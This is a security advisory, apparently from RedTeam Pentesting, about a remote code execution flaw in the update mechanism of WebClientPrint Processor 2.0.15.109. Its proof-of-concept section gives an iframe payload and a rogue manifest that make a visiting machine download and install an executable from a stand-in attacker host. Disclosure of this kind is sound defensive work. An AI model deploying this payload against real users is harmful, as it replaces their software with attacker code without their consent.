WebClientPrint Processor 2.0.15.109 Updates Remote Code Execution Vulnerability

2017-08-23T00:00:00
ID 1337DAY-ID-28361
Type zdt
Reporter RedTeam
Modified 2017-08-23T00:00:00

Description

RedTeam Pentesting discovered that rogue updates trigger a remote code execution vulnerability in WebClientPrint Processor (WCPP). These updates may be distributed through specially crafted websites and are processed without any user interaction as soon as the website is accessed. However, the browser must run with administrative privileges. Version 2.0.15.109 is affected.

                                        
                                            Advisory: WebClientPrint Processor 2.0: Remote Code Execution via Updates

RedTeam Pentesting discovered that rogue updates trigger a remote code
execution vulnerability in WebClientPrint Processor (WCPP). These
updates may be distributed through specially crafted websites and are
processed without any user interaction as soon as the website is
accessed. However, the browser must run with administrative privileges.


Details
=======

Product: Neodynamic WebClientPrint Processor
Affected Versions: 2.0.15.109 (Microsoft Windows)
Fixed Versions: >= 2.0.15.910
Vulnerability Type: Remote Code Execution
Security Risk: low
Vendor URL: http://www.neodynamic.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-009
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

Neodynamic's WebClientPrint Processor is a client-side application,
which allows server-side applications to print documents on a client's
printer without user interaction, bypassing the browser's print
functionality. The server-side application may be written in ASP.NET or
PHP while on the client-side multiple platforms and browsers are
supported.

"Send raw data, text and native commands to client printers without
showing or displaying any print dialog box!" (Neodynamic's website)


More Details
============

Upon installation under Microsoft Windows, WCPP registers itself as a
handler for the "webclientprint" URL scheme. Thus, any URL starting with
"webclientprint:" is handled by WCPP. For example, entering

webclientprint:-about

in the URL bar of a browser opens the about box of WCPP.

During RedTeam Pentesting's investigation it turned out that WCPP
supports an undocumented update mechanism. Through the following URL the
update mechanism is triggered:

webclientprint:-update:http://legitimate.example.com/somedir/manifest.xml

This instructs WCPP to fetch the file "manifest.xml" from the
"legitimate.example.com" host. Furthermore, it was found that an XML
file of the following structure is expected:

------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <AvailableVersion>5.0.0</AvailableVersion>
  <AppUrl>http://legitimate.example.com/somedir/wcpp.exe</AppUrl>
</manifest>
------------------------------------------------------------------------

Next, the XML file is parsed and the updated version of WCPP is fetched
from the URL

http://legitimate.example.com/somedir/wcpp.exe

with the returned byte stream being written to

C:\Program Files (x86)\Neodynamic\WCPP for Windows\v2.0\wcpp.exe

on a Windows 7 x86_64 machine. For the write process to succeed,
elevated or administrative privileges are required. Thus, the browser
which invokes WCPP must run with elevated or administrative privileges.


Proof of Concept
================

An attacker may prepare a malicious website containing the following
HTML code:

------------------------------------------------------------------------
<html>
<body>
<iframe src="webclientprint:-update:http://attack.example.com/somedir/manifest.xml">
</iframe>
</body>
</html>
------------------------------------------------------------------------

Furthermore, the attacker can provide a rogue manifest.xml as follows:

------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
  <AvailableVersion>5.0.0</AvailableVersion>
  <AppUrl>http://attack.example.com/somedir/wcpp.exe</AppUrl>
</manifest>
------------------------------------------------------------------------

Finally, arbitrary code may be placed at the AppUrl URL:

http://attack.example.com/somedir/wcpp.exe

If the malicious website is visited by a WCPP user, the WCPP handler
(wcpp.exe) of the user's machine is replaced by code arbitrarily chosen
by the attacker. A visual indication of the update progress is displayed
and the success is indicated through a message box. However, successful
exploitation requires no user interaction. Any subsequent invocation of
an arbitrary webclientprint URL will result in the execution of the
attacker's code. Thus, the attacker may deliver a second inline frame
containing a webclientprint URL in order to force immediate execution of
the attacker's code.


Workaround
==========

Affected users should disable the WCPP handler and upgrade to a fixed
version as soon as possible.

Fix
===

Install a WCPP version greater or equal to 2.0.15.910[0].

#  0day.today [2018-04-09]  #